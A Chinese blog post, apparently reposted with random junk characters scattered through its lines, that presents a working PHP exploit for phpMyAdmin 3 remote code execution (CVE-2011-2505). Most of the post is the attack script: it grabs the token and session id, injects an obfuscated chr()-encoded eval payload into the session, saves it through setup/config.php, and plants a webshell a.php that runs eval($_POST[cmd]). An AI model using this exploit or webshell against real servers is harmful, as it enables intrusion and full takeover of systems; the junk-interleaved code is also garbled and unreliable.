phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
! P1 Q- f5 k- n& a8 X' Z- J
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
' w0 W% l0 Z/ _0 w5 h
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
" `0 G) h; g" n7 n% w( X" E* m一是session.auto_start = 1；
/ L7 F8 S+ K1 c# e5 f二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
( u+ R4 l6 h. O' d8 q8 G当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
4 `" p! M% y+ k# J" V
3 H8 L$ n# e2 M1 R( |, @2 Z在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
( }' I2 h0 g) k/ c% n4 s( r
! `+ D4 ^" X) i8 U1 R于是写了这个php版本的exp，代码如下：
# q& s# K7 T' `, |7 g% Q7 L/ s0 E
( K  z& ]7 q% b- j#!/usr/bin/php
<?php
9 X8 Z# T" x+ N( e* c  Mprint_r('
( ^* w- _+ Z. M+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

6 @! K- e, I- }( z" V9 p" {/**
: i7 J' |  T3 k8 x5 ~1 S * working when the directory:"config" exists and is writeable.
**/
* s- j" P4 k/ m; {4 L+ w, K
* ?' J/ t, U6 h- L# E0 p) Q/ O& Yif ($argc < 3) {
    print_r('
8 Y9 d$ i1 R& ~8 H: ?  j3 T' h7 m; l6 n+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
; I3 [8 }/ u- ~host:      target server (ip/hostname)
' I7 E4 O* @* O) ]$ _3 q8 _path:      path to pma3
Example:
0 f* n* G; i! x) iphp '.$argv[0].' localhost /pma/
8 q: K4 g8 H3 P7 \, M6 j+---------------------------------------------------------------------------+
');
  g0 I% N, F' }9 {    exit;
4 W' L7 j9 \* @) v: L% H2 @0 ^}

$host = $argv[1];
7 x  _' p3 `$ n% V4 ^& j$path = $argv[2];

/**
2 X6 z" z. R( U7 Q/ A2 w * Try to determine if the directory:"config" exists
) r" T' b  Y: r. H**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
; d& z/ h3 l  S8 |/ Eif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
# k& i4 @8 E& _; {# U6 J( }* t* v
/**
3 [0 \. Q* |0 j" |) g * Try to get token and sessionid
**/
: Y" u, I( [, v* K% Y. Gecho "[+] Try to get token and sessionid....\n";
) w5 ~+ J( p0 A8 \9 d$ j8 a( t$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
6 v2 Q- C3 G7 P7 C" ]0 H" N$sessionid=$resp[1];
! a  P4 |1 p, J6 S- |+ v6 ^+ Gif($token && $sessionid){
6 F  t: l" y* m& W& H    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
$ _- [3 i. I9 s: g, K}

. Z$ Z6 T8 ^9 v$ p/**
4 V2 l' \4 W; F( Q! q9 t* r/ f * Try to insert shell into session
, N: k# n0 K$ b0 p) X' Q0 r' a**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
2 ~# b4 V: U$ O; [; {. d& g
/**
* Try to create webshell
9 f9 }7 Z+ H: u! ^0 c: H* [6 M' [) y**/
3 T* }2 I. I  p. h, ], i; xecho "[+] Try to create webshell....\n";
4 O9 N1 i  \8 {# F1 Nphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/ \' G, O  ?9 q) }. j: F- G5 g/**
* Try to check if the webshell was created successfully
**/
) y) k3 L0 n1 i2 c6 [echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
$ |4 N  O& `( w1 t. }) _}else{
/ a3 B# V( G9 O- t7 Q    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

$ x  `, }2 A- Sfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
, E0 z2 H; n6 W8 ?- }. u. Q8 K   
    $method=$data?'POST':'GET';
# J9 c0 J: q# M) l0 r' C/ B/ o   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
$ V: {7 A; @+ I% b    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
+ H& a9 i$ |- p0 Y5 y* E0 b1 p    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
8 c7 `) T6 x9 M# t* P    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
& g5 R& d9 N  A" k* d+ ?
    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);
) G, Y  q0 }3 s! s2 m
    $resp = '';
' `+ l8 Y  Z6 o* o+ Z: Z
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
1 W8 _: K% r, q' c* _
    return $resp;
6 ~0 ~* Y! w& B; a; \}
  u: v# |5 M  F. a8 n   
?>
.